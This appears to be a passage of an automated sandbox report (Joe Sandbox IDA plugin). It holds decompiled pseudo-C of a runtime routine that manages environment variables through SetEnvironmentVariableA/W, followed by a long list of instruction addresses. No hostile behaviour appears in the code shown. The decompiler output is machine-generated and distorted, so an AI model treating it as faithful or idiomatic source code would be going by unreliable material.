												_t299 = E0044FA26(_t298);
												E00446652(_t218);
												_t320 = _t320 + 0x10;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L11;
												} else {
													_t237 = _v12;
													_t286 = _t218;
													_t126 = _a4;
													 *(_t299 + _t237 * 4) = _t126;
													 *(_t299 + 4 + _t237 * 4) = _t218;
													goto L34;
												}
											}
										}
									}
								} else {
									__eflags =  *_t298 - _t218;
									if( *_t298 == _t218) {
										goto L29;
									} else {
										E00446652( *((intOrPtr*)(_t298 + _t122 * 4)));
										_t282 = _v12;
										__eflags = _v5 - _t218;
										if(_v5 != _t218) {
											while(1) {
												__eflags =  *(_t298 + _t282 * 4) - _t218;
												if( *(_t298 + _t282 * 4) == _t218) {
													break;
												}
												 *(_t298 + _t282 * 4) =  *(_t298 + 4 + _t282 * 4);
												_t282 = _t282 + 1;
												__eflags = _t282;
											}
											_push(4);
											_push(_t282);
											_t299 = E0044FA26(_t298);
											E00446652(_t218);
											_t320 = _t320 + 0x10;
											_t126 = _t286;
											__eflags = _t299;
											if(_t299 != 0) {
												L34:
												 *0x4724e0 = _t299;
											}
										} else {
											_t126 = _a4;
											_t286 = _t218;
											 *(_t298 + _t282 * 4) = _t126;
										}
										__eflags = _a8 - _t218;
										if(_a8 == _t218) {
											goto L12;
										} else {
											_t238 = _t126;
											_t283 = _t238 + 1;
											do {
												_t127 =  *_t238;
												_t238 = _t238 + 1;
												__eflags = _t127;
											} while (_t127 != 0);
											_v12 = _t238 - _t283 + 2;
											_t300 = E00445A43(_t238 - _t283, _t238 - _t283 + 2, 1);
											_pop(_t241);
											__eflags = _t300;
											if(_t300 == 0) {
												L42:
												E00446652(_t300);
												goto L12;
											} else {
												_t131 = E0044198E(_t300, _v12, _a4);
												_t321 = _t320 + 0xc;
												__eflags = _t131;
												if(_t131 != 0) {
													_push(_t218);
													_push(_t218);
													_push(_t218);
													_push(_t218);
													_push(_t218);
													E0043BC69();
													asm("int3");
													_t316 = _t321;
													_t322 = _t321 - 0xc;
													_push(_t218);
													_t220 = _v44;
													__eflags = _t220;
													if(_t220 != 0) {
														_push(_t300);
														_push(_t286);
														_push(0x3d);
														_t288 = _t220;
														_t133 = E004578C7(_t241);
														_v20 = _t133;
														_t244 = _t220;
														__eflags = _t133;
														if(_t133 == 0) {
															L54:
															 *((intOrPtr*)(E0044052D())) = 0x16;
															goto L55;
														} else {
															__eflags = _t133 - _t220;
															if(_t133 == _t220) {
																goto L54;
															} else {
																_t302 =  *0x4724e4; // 0x7f2708
																_t221 = 0;
																__eflags =  *(_t133 + 2);
																_t246 = _t244 & 0xffffff00 |  *(_t133 + 2) == 0x00000000;
																_v9 = _t246;
																__eflags = _t302 -  *0x4724e8; // 0x7f12f8
																if(__eflags == 0) {
																	_push(_t302);
																	L104();
																	_t246 = _v9;
																	_t302 = _t133;
																	 *0x4724e4 = _t302;
																}
																__eflags = _t302;
																if(_t302 != 0) {
																	L64:
																	_v20 = _v20 - _t288 >> 1;
																	_t138 = E0044F9B9(_t288, _v20 - _t288 >> 1);
																	_v16 = _t138;
																	__eflags = _t138;
																	if(_t138 < 0) {
																		L72:
																		__eflags = _v9 - _t221;
																		if(_v9 != _t221) {
																			goto L56;
																		} else {
																			_t139 =  ~_t138;
																			_v16 = _t139;
																			_t72 = _t139 + 2; // 0x2
																			_t252 = _t72;
																			__eflags = _t252 - _t139;
																			if(_t252 < _t139) {
																				goto L55;
																			} else {
																				__eflags = _t252 - 0x3fffffff;
																				if(_t252 >= 0x3fffffff) {
																					goto L55;
																				} else {
																					_push(4);
																					_push(_t252);
																					_t303 = E0044FA26(_t302);
																					E00446652(_t221);
																					_t322 = _t322 + 0x10;
																					__eflags = _t303;
																					if(_t303 == 0) {
																						goto L55;
																					} else {
																						_t253 = _v16;
																						_t288 = _t221;
																						_t142 = _v0;
																						 *(_t303 + _t253 * 4) = _t142;
																						 *(_t303 + 4 + _t253 * 4) = _t221;
																						goto L77;
																					}
																				}
																			}
																		}
																	} else {
																		__eflags =  *_t302 - _t221;
																		if( *_t302 == _t221) {
																			goto L72;
																		} else {
																			E00446652( *((intOrPtr*)(_t302 + _t138 * 4)));
																			_t276 = _v16;
																			__eflags = _v9 - _t221;
																			if(_v9 != _t221) {
																				while(1) {
																					__eflags =  *(_t302 + _t276 * 4) - _t221;
																					if( *(_t302 + _t276 * 4) == _t221) {
																						break;
																					}
																					 *(_t302 + _t276 * 4) =  *(_t302 + 4 + _t276 * 4);
																					_t276 = _t276 + 1;
																					__eflags = _t276;
																				}
																				_push(4);
																				_push(_t276);
																				_t303 = E0044FA26(_t302);
																				E00446652(_t221);
																				_t322 = _t322 + 0x10;
																				_t142 = _t288;
																				__eflags = _t303;
																				if(_t303 != 0) {
																					L77:
																					 *0x4724e4 = _t303;
																				}
																			} else {
																				_t142 = _v0;
																				_t288 = _t221;
																				 *(_t302 + _t276 * 4) = _t142;
																			}
																			__eflags = _a4 - _t221;
																			if(_a4 == _t221) {
																				goto L56;
																			} else {
																				_t254 = _t142;
																				_t81 = _t254 + 2; // 0x2
																				_t284 = _t81;
																				do {
																					_t143 =  *_t254;
																					_t254 = _t254 + 2;
																					__eflags = _t143 - _t221;
																				} while (_t143 != _t221);
																				_t82 = (_t254 - _t284 >> 1) + 2; // 0x0
																				_v16 = _t82;
																				_t304 = E00445A43(_t254 - _t284 >> 1, _t82, 2);
																				_pop(_t258);
																				__eflags = _t304;
																				if(_t304 == 0) {
																					L85:
																					E00446652(_t304);
																					goto L56;
																				} else {
																					_t148 = E00447A31(_t304, _v16, _v0);
																					_t323 = _t322 + 0xc;
																					__eflags = _t148;
																					if(_t148 != 0) {
																						_push(_t221);
																						_push(_t221);
																						_push(_t221);
																						_push(_t221);
																						_push(_t221);
																						E0043BC69();
																						asm("int3");
																						_push(_t316);
																						_t317 = _t323;
																						_push(_t288);
																						_t290 = _v92;
																						__eflags = _t290;
																						if(_t290 != 0) {
																							_t260 = 0;
																							_t150 = _t290;
																							__eflags =  *_t290;
																							if( *_t290 != 0) {
																								do {
																									_t150 =  &(_t150[1]);
																									_t260 = _t260 + 1;
																									__eflags =  *_t150;
																								} while ( *_t150 != 0);
																							}
																							_t93 = _t260 + 1; // 0x2
																							_t305 = E00445A43(_t260, _t93, 4);
																							_t262 = _t304;
																							__eflags = _t305;
																							if(_t305 == 0) {
																								L102:
																								E00446044(_t221, _t284, _t290, _t305);
																								goto L103;
																							} else {
																								__eflags =  *_t290;
																								if( *_t290 == 0) {
																									L100:
																									E00446652(0);
																									_t175 = _t305;
																									goto L101;
																								} else {
																									_push(_t221);
																									_t221 = _t305 - _t290;
																									__eflags = _t221;
																									do {
																										_t271 =  *_t290;
																										_t94 = _t271 + 1; // 0x5
																										_t284 = _t94;
																										do {
																											_t176 =  *_t271;
																											_t271 = _t271 + 1;
																											__eflags = _t176;
																										} while (_t176 != 0);
																										_t262 = _t271 - _t284;
																										_t95 = _t262 + 1; // 0x6
																										_v16 = _t95;
																										 *(_t221 + _t290) = E00445A43(_t262, _t95, 1);
																										E00446652(0);
																										_t323 = _t323 + 0xc;
																										__eflags =  *(_t221 + _t290);
																										if( *(_t221 + _t290) == 0) {
																											goto L102;
																										} else {
																											_t180 = E0044198E( *(_t221 + _t290), _v16,  *_t290);
																											_t323 = _t323 + 0xc;
																											__eflags = _t180;
																											if(_t180 != 0) {
																												L103:
																												_push(0);
																												_push(0);
																												_push(0);
																												_push(0);
																												_push(0);
																												E0043BC69();
																												asm("int3");
																												_push(_t317);
																												_t318 = _t323;
																												_push(_t262);
																												_push(_t262);
																												_push(_t290);
																												_t291 = _v128;
																												__eflags = _t291;
																												if(_t291 != 0) {
																													_push(_t221);
																													_t223 = 0;
																													_t156 = _t291;
																													_t263 = 0;
																													_v20 = 0;
																													_push(_t305);
																													__eflags =  *_t291;
																													if( *_t291 != 0) {
																														do {
																															_t156 =  &(_t156[1]);
																															_t263 = _t263 + 1;
																															__eflags =  *_t156;
																														} while ( *_t156 != 0);
																													}
																													_t104 = _t263 + 1; // 0x2
																													_t306 = E00445A43(_t263, _t104, 4);
																													__eflags = _t306;
																													if(_t306 == 0) {
																														L119:
																														E00446044(_t223, _t284, _t291, _t306);
																														goto L120;
																													} else {
																														__eflags =  *_t291 - _t223;
																														if( *_t291 == _t223) {
																															L117:
																															E00446652(_t223);
																															_t167 = _t306;
																															goto L118;
																														} else {
																															_t223 = _t306 - _t291;
																															__eflags = _t223;
																															do {
																																_t267 =  *_t291;
																																_t105 = _t267 + 2; // 0x6
																																_t284 = _t105;
																																do {
																																	_t168 =  *_t267;
																																	_t267 = _t267 + 2;
																																	__eflags = _t168 - _v20;
																																} while (_t168 != _v20);
																																_t107 = (_t267 - _t284 >> 1) + 1; // 0x3
																																_v24 = _t107;
																																 *(_t223 + _t291) = E00445A43(_t267 - _t284 >> 1, _t107, 2);
																																E00446652(0);
																																_t323 = _t323 + 0xc;
																																__eflags =  *(_t223 + _t291);
																																if( *(_t223 + _t291) == 0) {
																																	goto L119;
																																} else {
																																	_t173 = E00447A31( *(_t223 + _t291), _v24,  *_t291);
																																	_t323 = _t323 + 0xc;
																																	__eflags = _t173;
																																	if(_t173 != 0) {
																																		L120:
																																		_push(0);
																																		_push(0);
																																		_push(0);
																																		_push(0);
																																		_push(0);
																																		E0043BC69();
																																		asm("int3");
																																		_push(_t318);
																																		_push(_t223);
																																		_push(_t306);
																																		_push(_t291);
																																		_t292 =  *0x4724e0; // 0x7bc900
																																		_t307 = _t292;
																																		__eflags =  *_t292;
																																		if( *_t292 == 0) {
																																			L127:
																																			_t308 = _t307 - _t292;
																																			__eflags = _t308;
																																			_t310 =  ~(_t308 >> 2);
																																		} else {
																																			_t225 = _v8;
																																			do {
																																				_t163 = E00449839(_v12,  *_t307, _t225);
																																				_t323 = _t323 + 0xc;
																																				__eflags = _t163;
																																				if(_t163 != 0) {
																																					goto L126;
																																				} else {
																																					_t165 =  *((intOrPtr*)(_t225 +  *_t307));
																																					__eflags = _t165 - 0x3d;
																																					if(_t165 == 0x3d) {
																																						L129:
																																						_t310 = _t307 - _t292 >> 2;
																																					} else {
																																						__eflags = _t165;
																																						if(_t165 == 0) {
																																							goto L129;
																																						} else {
																																							goto L126;
																																						}
																																					}
																																				}
																																				goto L128;
																																				L126:
																																				_t307 =  &(_t307[1]);
																																				__eflags =  *_t307;
																																			} while ( *_t307 != 0);
																																			goto L127;
																																		}
																																		L128:
																																		return _t310;
																																	} else {
																																		goto L115;
																																	}
																																}
																																goto L130;
																																L115:
																																_t291 = _t291 + 4;
																																__eflags =  *_t291 - _t173;
																															} while ( *_t291 != _t173);
																															_t223 = 0;
																															__eflags = 0;
																															goto L117;
																														}
																													}
																												} else {
																													_t167 = 0;
																													L118:
																													return _t167;
																												}
																											} else {
																												goto L98;
																											}
																										}
																										goto L130;
																										L98:
																										_t290 = _t290 + 4;
																										__eflags =  *_t290 - _t180;
																									} while ( *_t290 != _t180);
																									goto L100;
																								}
																							}
																						} else {
																							_t175 = 0;
																							L101:
																							return _t175;
																						}
																					} else {
																						_t274 =  &(_t304[_v20 + 1]);
																						 *(_t274 - 2) = _t148;
																						asm("sbb eax, eax");
																						_t185 = SetEnvironmentVariableW(_t304,  !( ~(_v9 & 0x000000ff)) & _t274);
																						__eflags = _t185;
																						if(_t185 == 0) {
																							_t186 = E0044052D();
																							_t221 = _t221 | 0xffffffff;
																							__eflags = _t221;
																							 *_t186 = 0x2a;
																						}
																						goto L85;
																					}
																				}
																			}
																		}
																	}
																} else {
																	_t191 =  *0x4724e0; // 0x7bc900
																	__eflags = _a4 - _t221;
																	if(_a4 == _t221) {
																		L58:
																		__eflags = _t246;
																		if(_t246 != 0) {
																			goto L56;
																		} else {
																			__eflags = _t191;
																			if(_t191 != 0) {
																				L62:
																				 *0x4724e4 = E00445A43(_t246, 1, 4);
																				E00446652(_t221);
																				_t322 = _t322 + 0xc;
																				goto L63;
																			} else {
																				 *0x4724e0 = E00445A43(_t246, 1, 4);
																				E00446652(_t221);
																				_t322 = _t322 + 0xc;
																				__eflags =  *0x4724e0 - _t221; // 0x7bc900
																				if(__eflags == 0) {
																					goto L55;
																				} else {
																					_t302 =  *0x4724e4; // 0x7f2708
																					__eflags = _t302;
																					if(_t302 != 0) {
																						goto L64;
																					} else {
																						goto L62;
																					}
																				}
																			}
																		}
																	} else {
																		__eflags = _t191;
																		if(_t191 == 0) {
																			goto L58;
																		} else {
																			_t196 = L00443B15(_t221);
																			__eflags = _t196;
																			if(_t196 != 0) {
																				L63:
																				_t302 =  *0x4724e4; // 0x7f2708
																				__eflags = _t302;
																				if(_t302 == 0) {
																					L55:
																					_t221 = _t220 | 0xffffffff;
																					__eflags = _t221;
																					L56:
																					E00446652(_t288);
																					_t136 = _t221;
																					goto L57;
																				} else {
																					goto L64;
																				}
																			} else {
																				goto L54;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t197 = E0044052D();
														 *_t197 = 0x16;
														_t136 = _t197 | 0xffffffff;
														L57:
														return _t136;
													}
												} else {
													_t280 = _v16 + 1 + _t300 - _a4;
													asm("sbb eax, eax");
													 *(_t280 - 1) = _t218;
													_t204 = SetEnvironmentVariableA(_t300,  !( ~(_v5 & 0x000000ff)) & _t280);
													__eflags = _t204;
													if(_t204 == 0) {
														_t205 = E0044052D();
														_t218 = _t218 | 0xffffffff;
														__eflags = _t218;
														 *_t205 = 0x2a;
													}
													goto L42;
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L14:
									__eflags = _t120;
									if(_t120 == 0) {
										 *0x4724e0 = E00445A43(_t231, 1, 4);
										E00446652(_t218);
										_t298 =  *0x4724e0; // 0x7bc900
										_t320 = _t320 + 0xc;
										__eflags = _t298;
										if(_t298 == 0) {
											goto L11;
										} else {
											__eflags =  *0x4724e4 - _t218; // 0x7f2708
											if(__eflags != 0) {
												goto L20;
											} else {
												 *0x4724e4 = E00445A43(_t231, 1, 4);
												E00446652(_t218);
												_t320 = _t320 + 0xc;
												__eflags =  *0x4724e4 - _t218; // 0x7f2708
												if(__eflags == 0) {
													goto L11;
												} else {
													goto L19;
												}
											}
										}
									} else {
										_t218 = 0;
										goto L12;
									}
								} else {
									__eflags =  *0x4724e4 - _t218; // 0x7f2708
									if(__eflags == 0) {
										goto L14;
									} else {
										_t214 = L00443B10(0);
										__eflags = _t214;
										if(_t214 != 0) {
											L19:
											_t298 =  *0x4724e0; // 0x7bc900
											L20:
											__eflags = _t298;
											if(_t298 == 0) {
												L11:
												_t218 = _t217 | 0xffffffff;
												__eflags = _t218;
												L12:
												E00446652(_t286);
												_t119 = _t218;
												goto L13;
											} else {
												goto L21;
											}
										} else {
											goto L10;
										}
									}
								}
							}
						}
					}
				} else {
					_t215 = E0044052D();
					 *_t215 = 0x16;
					_t119 = _t215 | 0xffffffff;
					L13:
					return _t119;
				}
				L130:
			}








































































































                                    0x0044f387
                                    0x0044f38c
                                    0x0044f3a3
                                    0x0044f3a5
                                    0x0044f3aa
                                    0x0044f3ae
                                    0x0044f3af
                                    0x0044f3b1
                                    0x0044f401
                                    0x0044f406
                                    0x00000000
                                    0x0044f3b3
                                    0x0044f3b3
                                    0x0044f3b5
                                    0x00000000
                                    0x0044f3b7
                                    0x0044f3b7
                                    0x0044f3bb
                                    0x0044f3c1
                                    0x0044f3c4
                                    0x0044f3c7
                                    0x0044f3cd
                                    0x0044f3d0
                                    0x0044f3d5
                                    0x0044f3d7
                                    0x0044f3da
                                    0x0044f3db
                                    0x0044f3db
                                    0x0044f3e1
                                    0x0044f3e3
                                    0x0044f3e5
                                    0x0044f479
                                    0x0044f47c
                                    0x0044f47e
                                    0x0044f480
                                    0x0044f481
                                    0x0044f482
                                    0x0044f487
                                    0x0044f48c
                                    0x0044f48e
                                    0x0044f4d8
                                    0x0044f4d8
                                    0x0044f4db
                                    0x00000000
                                    0x0044f4e1
                                    0x0044f4e1
                                    0x0044f4e3
                                    0x0044f4e6
                                    0x0044f4e6
                                    0x0044f4e9
                                    0x0044f4eb
                                    0x00000000
                                    0x0044f4f1
                                    0x0044f4f1
                                    0x0044f4f7
                                    0x00000000
                                    0x0044f4fd
                                    0x0044f4fd
                                    0x0044f4ff
                                    0x0044f507
                                    0x0044f509
                                    0x0044f50e
                                    0x0044f511
                                    0x0044f513
                                    0x00000000
                                    0x0044f519
                                    0x0044f519
                                    0x0044f51c
                                    0x0044f51e
                                    0x0044f521
                                    0x0044f524
                                    0x00000000
                                    0x0044f524
                                    0x0044f513
                                    0x0044f4f7
                                    0x0044f4eb
                                    0x0044f490
                                    0x0044f490
                                    0x0044f492
                                    0x00000000
                                    0x0044f494
                                    0x0044f497
                                    0x0044f49d
                                    0x0044f4a0
                                    0x0044f4a3
                                    0x0044f4b7
                                    0x0044f4b7
                                    0x0044f4ba
                                    0x00000000
                                    0x00000000
                                    0x0044f4b3
                                    0x0044f4b6
                                    0x0044f4b6
                                    0x0044f4b6
                                    0x0044f4bc
                                    0x0044f4be
                                    0x0044f4c6
                                    0x0044f4c8
                                    0x0044f4cd
                                    0x0044f4d0
                                    0x0044f4d2
                                    0x0044f4d4
                                    0x0044f528
                                    0x0044f528
                                    0x0044f528
                                    0x0044f4a5
                                    0x0044f4a5
                                    0x0044f4a8
                                    0x0044f4aa
                                    0x0044f4aa
                                    0x0044f52e
                                    0x0044f531
                                    0x00000000
                                    0x0044f537
                                    0x0044f537
                                    0x0044f539
                                    0x0044f53c
                                    0x0044f53c
                                    0x0044f53e
                                    0x0044f53f
                                    0x0044f53f
                                    0x0044f54b
                                    0x0044f553
                                    0x0044f556
                                    0x0044f557
                                    0x0044f559
                                    0x0044f5a2
                                    0x0044f5a3
                                    0x00000000
                                    0x0044f55b
                                    0x0044f562
                                    0x0044f567
                                    0x0044f56a
                                    0x0044f56c
                                    0x0044f5ae
                                    0x0044f5af
                                    0x0044f5b0
                                    0x0044f5b1
                                    0x0044f5b2
                                    0x0044f5b3
                                    0x0044f5b8
                                    0x0044f5bc
                                    0x0044f5be
                                    0x0044f5c1
                                    0x0044f5c2
                                    0x0044f5c5
                                    0x0044f5c7
                                    0x0044f5d9
                                    0x0044f5da
                                    0x0044f5db
                                    0x0044f5de
                                    0x0044f5e0
                                    0x0044f5e5
                                    0x0044f5e9
                                    0x0044f5ea
                                    0x0044f5ec
                                    0x0044f63d
                                    0x0044f642
                                    0x00000000
                                    0x0044f5ee
                                    0x0044f5ee
                                    0x0044f5f0
                                    0x00000000
                                    0x0044f5f2
                                    0x0044f5f2
                                    0x0044f5f8
                                    0x0044f5fa
                                    0x0044f5fe
                                    0x0044f601
                                    0x0044f604
                                    0x0044f60a
                                    0x0044f60c
                                    0x0044f60d
                                    0x0044f613
                                    0x0044f616
                                    0x0044f618
                                    0x0044f618
                                    0x0044f61e
                                    0x0044f620
                                    0x0044f6ad
                                    0x0044f6b8
                                    0x0044f6bb
                                    0x0044f6c0
                                    0x0044f6c5
                                    0x0044f6c7
                                    0x0044f711
                                    0x0044f711
                                    0x0044f714
                                    0x00000000
                                    0x0044f71a
                                    0x0044f71a
                                    0x0044f71c
                                    0x0044f71f
                                    0x0044f71f
                                    0x0044f722
                                    0x0044f724
                                    0x00000000
                                    0x0044f72a
                                    0x0044f72a
                                    0x0044f730
                                    0x00000000
                                    0x0044f736
                                    0x0044f736
                                    0x0044f738
                                    0x0044f740
                                    0x0044f742
                                    0x0044f747
                                    0x0044f74a
                                    0x0044f74c
                                    0x00000000
                                    0x0044f752
                                    0x0044f752
                                    0x0044f755
                                    0x0044f757
                                    0x0044f75a
                                    0x0044f75d
                                    0x00000000
                                    0x0044f75d
                                    0x0044f74c
                                    0x0044f730
                                    0x0044f724
                                    0x0044f6c9
                                    0x0044f6c9
                                    0x0044f6cb
                                    0x00000000
                                    0x0044f6cd
                                    0x0044f6d0
                                    0x0044f6d6
                                    0x0044f6d9
                                    0x0044f6dc
                                    0x0044f6f0
                                    0x0044f6f0
                                    0x0044f6f3
                                    0x00000000
                                    0x00000000
                                    0x0044f6ec
                                    0x0044f6ef
                                    0x0044f6ef
                                    0x0044f6ef
                                    0x0044f6f5
                                    0x0044f6f7
                                    0x0044f6ff
                                    0x0044f701
                                    0x0044f706
                                    0x0044f709
                                    0x0044f70b
                                    0x0044f70d
                                    0x0044f761
                                    0x0044f761
                                    0x0044f761
                                    0x0044f6de
                                    0x0044f6de
                                    0x0044f6e1
                                    0x0044f6e3
                                    0x0044f6e3
                                    0x0044f767
                                    0x0044f76a
                                    0x00000000
                                    0x0044f770
                                    0x0044f770
                                    0x0044f772
                                    0x0044f772
                                    0x0044f775
                                    0x0044f775
                                    0x0044f778
                                    0x0044f77b
                                    0x0044f77b
                                    0x0044f786
                                    0x0044f78a
                                    0x0044f792
                                    0x0044f795
                                    0x0044f796
                                    0x0044f798
                                    0x0044f7df
                                    0x0044f7e0
                                    0x00000000
                                    0x0044f79a
                                    0x0044f7a2
                                    0x0044f7a7
                                    0x0044f7aa
                                    0x0044f7ac
                                    0x0044f7eb
                                    0x0044f7ec
                                    0x0044f7ed
                                    0x0044f7ee
                                    0x0044f7ef
                                    0x0044f7f0
                                    0x0044f7f5
                                    0x0044f7f8
                                    0x0044f7f9
                                    0x0044f7fc
                                    0x0044f7fd
                                    0x0044f800
                                    0x0044f802
                                    0x0044f80b
                                    0x0044f80d
                                    0x0044f80f
                                    0x0044f811
                                    0x0044f813
                                    0x0044f813
                                    0x0044f816
                                    0x0044f817
                                    0x0044f817
                                    0x0044f813
                                    0x0044f81d
                                    0x0044f828
                                    0x0044f82b
                                    0x0044f82c
                                    0x0044f82e
                                    0x0044f895
                                    0x0044f895
                                    0x00000000
                                    0x0044f830
                                    0x0044f830
                                    0x0044f833
                                    0x0044f885
                                    0x0044f887
                                    0x0044f88d
                                    0x00000000
                                    0x0044f835
                                    0x0044f835
                                    0x0044f838
                                    0x0044f838
                                    0x0044f83a
                                    0x0044f83a
                                    0x0044f83c
                                    0x0044f83c
                                    0x0044f83f
                                    0x0044f83f
                                    0x0044f841
                                    0x0044f842
                                    0x0044f842
                                    0x0044f846
                                    0x0044f84a
                                    0x0044f84e
                                    0x0044f858
                                    0x0044f85b
                                    0x0044f860
                                    0x0044f863
                                    0x0044f867
                                    0x00000000
                                    0x0044f869
                                    0x0044f871
                                    0x0044f876
                                    0x0044f879
                                    0x0044f87b
                                    0x0044f89a
                                    0x0044f89c
                                    0x0044f89d
                                    0x0044f89e
                                    0x0044f89f
                                    0x0044f8a0
                                    0x0044f8a1
                                    0x0044f8a6
                                    0x0044f8a9
                                    0x0044f8aa
                                    0x0044f8ac
                                    0x0044f8ad
                                    0x0044f8ae
                                    0x0044f8af
                                    0x0044f8b2
                                    0x0044f8b4
                                    0x0044f8bd
                                    0x0044f8be
                                    0x0044f8c0
                                    0x0044f8c2
                                    0x0044f8c4
                                    0x0044f8c7
                                    0x0044f8c8
                                    0x0044f8ca
                                    0x0044f8cc
                                    0x0044f8cc
                                    0x0044f8cf
                                    0x0044f8d0
                                    0x0044f8d0
                                    0x0044f8cc
                                    0x0044f8d4
                                    0x0044f8df
                                    0x0044f8e3
                                    0x0044f8e5
                                    0x0044f953
                                    0x0044f953
                                    0x00000000
                                    0x0044f8e7
                                    0x0044f8e7
                                    0x0044f8e9
                                    0x0044f943
                                    0x0044f944
                                    0x0044f94a
                                    0x00000000
                                    0x0044f8eb
                                    0x0044f8ed
                                    0x0044f8ed
                                    0x0044f8ef
                                    0x0044f8ef
                                    0x0044f8f1
                                    0x0044f8f1
                                    0x0044f8f4
                                    0x0044f8f4
                                    0x0044f8f7
                                    0x0044f8fa
                                    0x0044f8fa
                                    0x0044f906
                                    0x0044f90a
                                    0x0044f912
                                    0x0044f918
                                    0x0044f91d
                                    0x0044f920
                                    0x0044f924
                                    0x00000000
                                    0x0044f926
                                    0x0044f92e
                                    0x0044f933
                                    0x0044f936
                                    0x0044f938
                                    0x0044f958
                                    0x0044f95a
                                    0x0044f95b
                                    0x0044f95c
                                    0x0044f95d
                                    0x0044f95e
                                    0x0044f95f
                                    0x0044f964
                                    0x0044f967
                                    0x0044f96a
                                    0x0044f96b
                                    0x0044f96c
                                    0x0044f96d
                                    0x0044f973
                                    0x0044f975
                                    0x0044f978
                                    0x0044f9a4
                                    0x0044f9a4
                                    0x0044f9a4
                                    0x0044f9a9
                                    0x0044f97a
                                    0x0044f97a
                                    0x0044f97d
                                    0x0044f983
                                    0x0044f988
                                    0x0044f98b
                                    0x0044f98d
                                    0x00000000
                                    0x0044f98f
                                    0x0044f991
                                    0x0044f994
                                    0x0044f996
                                    0x0044f9b2
                                    0x0044f9b4
                                    0x0044f998
                                    0x0044f998
                                    0x0044f99a
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044f99a
                                    0x0044f996
                                    0x00000000
                                    0x0044f99c
                                    0x0044f99c
                                    0x0044f99f
                                    0x0044f99f
                                    0x00000000
                                    0x0044f97d
                                    0x0044f9ab
                                    0x0044f9b1
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044f938
                                    0x00000000
                                    0x0044f93a
                                    0x0044f93a
                                    0x0044f93d
                                    0x0044f93d
                                    0x0044f941
                                    0x0044f941
                                    0x00000000
                                    0x0044f941
                                    0x0044f8e9
                                    0x0044f8b6
                                    0x0044f8b6
                                    0x0044f94e
                                    0x0044f952
                                    0x0044f952
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044f87b
                                    0x00000000
                                    0x0044f87d
                                    0x0044f87d
                                    0x0044f880
                                    0x0044f880
                                    0x00000000
                                    0x0044f884
                                    0x0044f833
                                    0x0044f804
                                    0x0044f804
                                    0x0044f890
                                    0x0044f894
                                    0x0044f894
                                    0x0044f7ae
                                    0x0044f7b2
                                    0x0044f7b5
                                    0x0044f7bf
                                    0x0044f7c7
                                    0x0044f7cd
                                    0x0044f7cf
                                    0x0044f7d1
                                    0x0044f7d6
                                    0x0044f7d6
                                    0x0044f7d9
                                    0x0044f7d9
                                    0x00000000
                                    0x0044f7cf
                                    0x0044f7ac
                                    0x0044f798
                                    0x0044f76a
                                    0x0044f6cb
                                    0x0044f626
                                    0x0044f626
                                    0x0044f62b
                                    0x0044f62e
                                    0x0044f65b
                                    0x0044f65b
                                    0x0044f65d
                                    0x00000000
                                    0x0044f65f
                                    0x0044f65f
                                    0x0044f661
                                    0x0044f68c
                                    0x0044f696
                                    0x0044f69b
                                    0x0044f6a0
                                    0x00000000
                                    0x0044f663
                                    0x0044f66d
                                    0x0044f672
                                    0x0044f677
                                    0x0044f67a
                                    0x0044f680
                                    0x00000000
                                    0x0044f682
                                    0x0044f682
                                    0x0044f688
                                    0x0044f68a
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044f68a
                                    0x0044f680
                                    0x0044f661
                                    0x0044f630
                                    0x0044f630
                                    0x0044f632
                                    0x00000000
                                    0x0044f634
                                    0x0044f634
                                    0x0044f639
                                    0x0044f63b
                                    0x0044f6a3
                                    0x0044f6a3
                                    0x0044f6a9
                                    0x0044f6ab
                                    0x0044f648
                                    0x0044f648
                                    0x0044f648
                                    0x0044f64b
                                    0x0044f64c
                                    0x0044f653
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044f63b
                                    0x0044f632
                                    0x0044f62e
                                    0x0044f620
                                    0x0044f5f0
                                    0x0044f5c9
                                    0x0044f5c9
                                    0x0044f5ce
                                    0x0044f5d4
                                    0x0044f656
                                    0x0044f65a
                                    0x0044f65a
                                    0x0044f56e
                                    0x0044f577
                                    0x0044f57f
                                    0x0044f583
                                    0x0044f58a
                                    0x0044f590
                                    0x0044f592
                                    0x0044f594
                                    0x0044f599
                                    0x0044f599
                                    0x0044f59c
                                    0x0044f59c
                                    0x00000000
                                    0x0044f592
                                    0x0044f56c
                                    0x0044f559
                                    0x0044f531
                                    0x0044f492
                                    0x0044f3eb
                                    0x0044f3eb
                                    0x0044f3ee
                                    0x0044f41f
                                    0x0044f41f
                                    0x0044f421
                                    0x0044f431
                                    0x0044f436
                                    0x0044f43b
                                    0x0044f441
                                    0x0044f444
                                    0x0044f446
                                    0x00000000
                                    0x0044f448
                                    0x0044f448
                                    0x0044f44e
                                    0x00000000
                                    0x0044f450
                                    0x0044f45a
                                    0x0044f45f
                                    0x0044f464
                                    0x0044f467
                                    0x0044f46d
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044f46d
                                    0x0044f44e
                                    0x0044f423
                                    0x0044f423
                                    0x00000000
                                    0x0044f423
                                    0x0044f3f0
                                    0x0044f3f0
                                    0x0044f3f6
                                    0x00000000
                                    0x0044f3f8
                                    0x0044f3f8
                                    0x0044f3fd
                                    0x0044f3ff
                                    0x0044f46f
                                    0x0044f46f
                                    0x0044f475
                                    0x0044f475
                                    0x0044f477
                                    0x0044f40c
                                    0x0044f40c
                                    0x0044f40c
                                    0x0044f40f
                                    0x0044f410
                                    0x0044f417
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044f3ff
                                    0x0044f3f6
                                    0x0044f3ee
                                    0x0044f3e5
                                    0x0044f3b5
                                    0x0044f38e
                                    0x0044f38e
                                    0x0044f393
                                    0x0044f399
                                    0x0044f41a
                                    0x0044f41e
                                    0x0044f41e
                                    0x00000000

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
